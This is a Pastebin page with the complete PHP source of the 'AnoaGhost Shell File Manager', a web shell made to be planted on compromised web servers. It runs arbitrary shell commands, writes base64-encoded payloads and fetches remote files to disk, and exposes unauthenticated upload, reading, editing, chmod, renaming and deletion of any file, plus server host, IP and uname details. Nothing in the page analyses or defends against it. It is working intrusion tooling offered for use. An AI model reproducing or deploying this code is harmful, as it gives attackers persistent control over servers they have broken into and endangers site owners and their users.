anoaghost

Shell Filemanager

Jun 28th, 2016
261
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.29 KB | None | 0 0
  1. <?php
  2. define('VERSION', '2.0');
  3.  
  4. function anoaghostSize($s) {
  5. if (is_int($s))
  6. $s = sprintf("%u", $s);
  7.  
  8. if($s >= 1073741824)
  9. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  10. elseif($s >= 1048576)
  11. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  12. elseif($s >= 1024)
  13. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  14. else
  15. return $s . ' B';
  16. }
  17.  
  18. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  19. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  20. $totalSpace = $totalSpace?$totalSpace:1;
  21.  
  22. //hdd
  23. function convertByte($s) {
  24. if($s >= 1073741824)
  25. return sprintf('%1.2f',$s / 1073741824 ).' GB';
  26. elseif($s >= 1048576)
  27. return sprintf('%1.2f',$s / 1048576 ) .' MB';
  28. elseif($s >= 1024)
  29. return sprintf('%1.2f',$s / 1024 ) .' KB';
  30. else
  31. return $s .' B';
  32. }
  33. function exe($cmd){
  34. if(function_exists('system')) {
  35. @ob_start();
  36. @system($cmd);
  37. $buff = @ob_get_contents();
  38. @ob_end_clean();
  39. return $buff;
  40. }
  41. elseif(function_exists('exec')) {
  42. @exec($cmd,$results);
  43. $buff = "";
  44. foreach($results as $result){
  45. $buff .= $result;
  46. }
  47. return $buff;
  48. }
  49. elseif(function_exists('passthru')) {
  50. @ob_start();
  51. @passthru($cmd);
  52. $buff = @ob_get_contents();
  53. @ob_end_clean();
  54. return $buff;
  55. }
  56. elseif(function_exists('shell_exec')){
  57. $buff = @shell_exec($cmd);
  58. return $buff;
  59. }
  60. }
  61.  
  62. function tulis($file,$text){
  63. $textz = gzinflate(base64_decode($text));
  64. if($filez = @fopen($file,"w"))
  65. {
  66. @fputs($filez,$textz);
  67. @fclose($file);
  68. }
  69. }
  70.  
  71. function ambil($link,$file) {
  72. if($fp = @fopen($link,"r")){
  73. while(!feof($fp)) {
  74. $cont.= @fread($fp,1024);
  75. }
  76. @fclose($fp);
  77. $fp2 = @fopen($file,"w");
  78. @fwrite($fp2,$cont);
  79. @fclose($fp2);
  80. }
  81. }
  82.  
  83.  
  84.  
  85. $admin_id=$_SERVER['SERVER_ADMIN'];
  86.  
  87.  
  88. echo '<!DOCTYPE HTML>
  89. <HTML>
  90. <HEAD>
  91. <link href="" rel="stylesheet" type="text/css">
  92. <title>njirr kau mz , crootdah v'.VERSION.'</title>
  93. <body>
  94. <style>
  95. body{
  96. font-family: "Racing Sans One", cursive;
  97. background:url("https://jindalelec.co.ke/mirai_nikki_desmotivaciones_by_justass-d6jcuo1.jpg") repeat;
  98. background-size:100%;
  99. background-repeat: no-repeat;
  100. background-color: #13181D;
  101. background-attachment:fixed;
  102. color: aqua;
  103. text-shadow:0px 0px 1px ;
  104. }
  105. #content tr:hover{
  106. background-color: red;
  107. text-shadow:0px 0px 10px #fff;
  108. }
  109. #content .first{
  110. background-color: blue;
  111. }
  112. #content .first:hover{
  113. background-color: silver;
  114. text-shadow:0px 0px 1px #757575;
  115. }
  116. .gaya {
  117. color: blue;
  118. }
  119. table{
  120. border: 1px #000000 dotted;
  121. }
  122. H1{
  123. font-family: "Rye", cursive;
  124. }
  125. a{
  126. color: lime;
  127. text-decoration: none;
  128. }
  129. a:hover{
  130. color: red;
  131. text-shadow:0px 0px 10px #ffffff;
  132. }
  133. input,select,textarea{
  134. border: 1px red solid;
  135. -moz-border-radius: 5px;
  136. -webkit-border-radius:5px;
  137. border-radius:5px;
  138. }
  139. </style>
  140. </HEAD>
  141. <BODY>
  142. <H1><center>AnoaGhost Shell File Manager</center></H1><br><center><a href="njirr"><img src="https://jindalelec.co.ke/jmbt.png" width="15%" height="15%"></a>
  143. <br>
  144. <table bordercolor=lime width="600" border="600" cellpadding="1" cellspacing="1" align=center><tr><td>
  145. <center>-=| <b><font face=Agency FB color=lime size=3>Host:</b> '.$_SERVER["HTTP_HOST"].' | <font>
  146. <b><font face=Agency FB color=red size=3>IP:</b> '.gethostbyname($_SERVER["HTTP_HOST"]).' | </font>
  147. <b><font face=Agency FB color=orange size=3>Your ip:</b> '.$_SERVER["REMOTE_ADDR"].' |=- <br>
  148. <b><font face=Agency FB color=magenta size=2>Uname:</b> ' . substr(@php_uname(), 0, 120) . ' |=-<br>
  149. <b><font face=Agency FB size=3 color=#00FF1E><span>Free Disk: <b>'.convertByte(disk_free_space('/')).' / '.convertByte(disk_total_space('/')).'</b></span><br>
  150. <b><font face=Agency FB size=2><span>Admin : <b><a href='.$admin_id.'><font style=color:white>'.$admin_id.'</font></b>
  151. </font></tr></td></table><br>
  152. </center>
  153. <table width="500" border="500" cellpadding="1" cellspacing="1" align="center">
  154. <tr><td>Current Path : ';
  155. if(isset($_GET['path'])){
  156. $path = $_GET['path'];
  157. }else{
  158. $path = getcwd();
  159. }
  160. $path = str_replace('\\','/',$path);
  161. $paths = explode('/',$path);
  162.  
  163. foreach($paths as $id=>$pat){
  164. if($pat == '' && $id == 0){
  165. $a = true;
  166. echo '<a href="?path=/">/</a>';
  167. continue;
  168. }
  169. if($pat == '') continue;
  170. echo '<a href="?path=';
  171. for($i=0;$i<=$id;$i++){
  172. echo "$paths[$i]";
  173. if($i != $id) echo "/";
  174. }
  175. echo '">'.$pat.'</a>/';
  176. }
  177. echo '</td></tr><tr><td>';
  178. if(isset($_FILES['file'])){
  179. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  180. echo '<font color="green">Success to Upload.</font><br />';
  181. }else{
  182. echo '<font color="red">Failed to Upload.</font><br />';
  183. }
  184. }
  185. echo '<form enctype="multipart/form-data" method="POST">
  186. Upload File : <input type="file" name="file" />
  187. <input type="submit" value="upload" />
  188. </form>
  189. </td></tr>';
  190. if(isset($_GET['filesrc'])){
  191. echo "<tr><td>Current File : ";
  192. echo $_GET['filesrc'];
  193. echo '</tr></td></table><br />';
  194. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  195. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  196. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  197. if($_POST['opt'] == 'chmod'){
  198. if(isset($_POST['perm'])){
  199. if(chmod($_POST['path'],$_POST['perm'])){
  200. echo '<font color="green">Change Permission Done.</font><br />';
  201. }else{
  202. echo '<font color="red">Change Permission Error.</font><br />';
  203. }
  204. }
  205. echo '<form method="POST">
  206. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  207. <input type="hidden" name="path" value="'.$_POST['path'].'">
  208. <input type="hidden" name="opt" value="chmod">
  209. <input type="submit" value="Go" />
  210. </form>';
  211. }elseif($_POST['opt'] == 'rename'){
  212. if(isset($_POST['newname'])){
  213. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  214. echo '<font color="green">Change Name Done.</font><br />';
  215. }else{
  216. echo '<font color="red">Change Name Error.</font><br />';
  217. }
  218. $_POST['name'] = $_POST['newname'];
  219. }
  220. echo '<form method="POST">
  221. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  222. <input type="hidden" name="path" value="'.$_POST['path'].'">
  223. <input type="hidden" name="opt" value="rename">
  224. <input type="submit" value="Go" />
  225. </form>';
  226. }elseif($_POST['opt'] == 'edit'){
  227. if(isset($_POST['src'])){
  228. $fp = fopen($_POST['path'],'w');
  229. if(fwrite($fp,$_POST['src'])){
  230. echo '<font color="green">Edit File Done.</font><br />';
  231. }else{
  232. echo '<font color="red">Edit File Error.</font><br />';
  233. }
  234. fclose($fp);
  235. }
  236. echo'<form method="POST">
  237. <textarea cols="60" rows="30" name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  238. <input type="hidden" name="path" value="'.$_POST['path'].'">
  239. <input type="hidden" name="opt" value="edit">
  240. <tr><td colspan="2">Save as <input oncontextmenu="return false" onmousedown="return false" id="cmd" class="inputz" name="saveas" style="width:60%;" value="'.$_POST['path'].'" /><input type="submit" value="Submit" /> </td></tr>
  241. </form>';
  242. }
  243. echo '</center>';
  244. }else{
  245. echo '</table><br /><center>';
  246. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  247. if($_POST['type'] == 'dir'){
  248. if(rmdir($_POST['path'])){
  249. echo '<font color="green">Delete Dir Done.</font><br />';
  250. }else{
  251. echo '<font color="red">Delete Dir Error.</font><br />';
  252. }
  253. }elseif($_POST['type'] == 'file'){
  254. if(unlink($_POST['path'])){
  255. echo '<font color="green">Delete File Done.</font><br />';
  256. }else{
  257. echo '<font color="red">Delete File Error.</font><br />';
  258. }
  259. }
  260. }
  261. echo '</center>';
  262. $scandir = scandir($path);
  263. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  264. <tr class="first">
  265. <td><center>Name</center></td>
  266. <td><center>Size</center></td>
  267. <td><center>Permissions</center></td>
  268. <td><center>Options</center></td>
  269. </tr>';
  270.  
  271. foreach($scandir as $dir){
  272. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  273. echo "<tr>
  274. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  275. <td><center>--</center></td>
  276. <td><center>";
  277. if(is_writable("$path/$dir")) echo '<font color="green">';
  278. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  279. echo perms("$path/$dir");
  280. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  281.  
  282. echo "</center></td>
  283. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  284. <select name=\"opt\">
  285. <option value=\"\"></option>
  286. <option value=\"delete\">Delete</option>
  287. <option value=\"chmod\">Chmod</option>
  288. <option value=\"rename\">Rename</option>
  289. </select>
  290. <input type=\"hidden\" name=\"type\" value=\"dir\">
  291. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  292. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  293. <input type=\"submit\" value=\">\" />
  294. </form></center></td>
  295. </tr>";
  296. }
  297. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  298. foreach($scandir as $file){
  299. if(!is_file("$path/$file")) continue;
  300. $size = filesize("$path/$file")/1024;
  301. $size = round($size,3);
  302. if($size >= 1024){
  303. $size = round($size/1024,2).' MB';
  304. }else{
  305. $size = $size.' KB';
  306. }
  307.  
  308. echo "<tr>
  309. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  310. <td><center>".$size."</center></td>
  311. <td><center>";
  312. if(is_writable("$path/$file")) echo '<font color="green">';
  313. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  314. echo perms("$path/$file");
  315. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  316. echo "</center></td>
  317. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  318. <select name=\"opt\">
  319. <option value=\"\"></option>
  320. <option value=\"delete\">Delete</option>
  321. <option value=\"chmod\">Chmod</option>
  322. <option value=\"rename\">Rename</option>
  323. <option value=\"edit\">Edit</option>
  324. </select>
  325. <input type=\"hidden\" name=\"type\" value=\"file\">
  326. <input type=\"hidden\" name=\"name\" value=\"$file\">
  327. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  328. <input type=\"submit\" value=\">\" />
  329. </form></center></td>
  330. </tr>";
  331. }
  332. echo '</table>
  333. </div>';
  334. }
  335. echo '<br /><footer style="position:fixed; left:1px; right:0px; bottom:0px; border-top: 1px solid white ;background-color:#222"><center>-= AnoaGhost Shell File Manager <font color="red">v'.VERSION.'</font>, c0d3d By <font color="red">AnoaGhost - The Nightmare <font color=aqua>=-</font>
  336. </footer>
  337. </BODY>
  338. </HTML>';
  339. function perms($file){
  340. $perms = fileperms($file);
  341.  
  342. if (($perms & 0xC000) == 0xC000) {
  343. // Socket
  344. $info = 's';
  345. } elseif (($perms & 0xA000) == 0xA000) {
  346. // Symbolic Link
  347. $info = 'l';
  348. } elseif (($perms & 0x8000) == 0x8000) {
  349. // Regular
  350. $info = '-';
  351. } elseif (($perms & 0x6000) == 0x6000) {
  352. // Block special
  353. $info = 'b';
  354. } elseif (($perms & 0x4000) == 0x4000) {
  355. // Directory
  356. $info = 'd';
  357. } elseif (($perms & 0x2000) == 0x2000) {
  358. // Character special
  359. $info = 'c';
  360. } elseif (($perms & 0x1000) == 0x1000) {
  361. // FIFO pipe
  362. $info = 'p';
  363. } else {
  364. // Unknown
  365. $info = 'u';
  366. }
  367.  
  368. // Owner
  369. $info .= (($perms & 0x0100) ? 'r' : '-');
  370. $info .= (($perms & 0x0080) ? 'w' : '-');
  371. $info .= (($perms & 0x0040) ?
  372. (($perms & 0x0800) ? 's' : 'x' ) :
  373. (($perms & 0x0800) ? 'S' : '-'));
  374.  
  375. // Group
  376. $info .= (($perms & 0x0020) ? 'r' : '-');
  377. $info .= (($perms & 0x0010) ? 'w' : '-');
  378. $info .= (($perms & 0x0008) ?
  379. (($perms & 0x0400) ? 's' : 'x' ) :
  380. (($perms & 0x0400) ? 'S' : '-'));
  381.  
  382. // World
  383. $info .= (($perms & 0x0004) ? 'r' : '-');
  384. $info .= (($perms & 0x0002) ? 'w' : '-');
  385. $info .= (($perms & 0x0001) ?
  386. (($perms & 0x0200) ? 't' : 'x' ) :
  387. (($perms & 0x0200) ? 'T' : '-'));
  388.  
  389. return $info;
  390. }
  391. ?>
Add Comment
Please, Sign In to add comment